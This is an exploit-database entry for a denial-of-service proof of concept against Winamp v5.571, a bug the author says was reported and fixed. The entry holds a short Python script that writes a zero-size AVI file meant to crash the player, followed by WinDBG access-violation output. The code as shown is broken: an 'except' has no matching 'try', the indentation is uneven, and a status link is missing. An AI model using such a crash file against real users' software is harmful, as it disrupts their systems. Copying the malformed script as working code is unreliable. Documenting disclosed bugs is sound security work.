Winamp v5.571 Malicious AVI Denial of Service

ID 1337DAY-ID-13036
Type zdt
Reporter Praveen Darshanam
Modified 2010-06-28T00:00:00


Exploit for windows platform in category dos / poc

Winamp v5.571 Malicious AVI Denial of Service

# Tested on Windows 7 and Winamp v5.571(x86)
# This bug is informed to Nullsoft and was fixed long back.
# The status can be found at
# This code works on Python 3.0. To make it work on <3.0 remove braces in print
print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n")
        open('winampcrash.avi', 'w')
        print ("Creating malicious AVI file . . . \n")
        print ("Successfully created Zero size AVI file\n")
        print ("Open created Zero size AVI file in Winamp.....Boom\n\n")
except IOError:                    
        print ("Unable to create Zero size AVI file\n")
Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86)
(f00.e60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618
eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
076243f1 8b4008          mov     eax,dword ptr [eax+8] ds:002b:00000008=????????
#Best Regards,
#Praveen Darshanam

# [2018-03-13]  #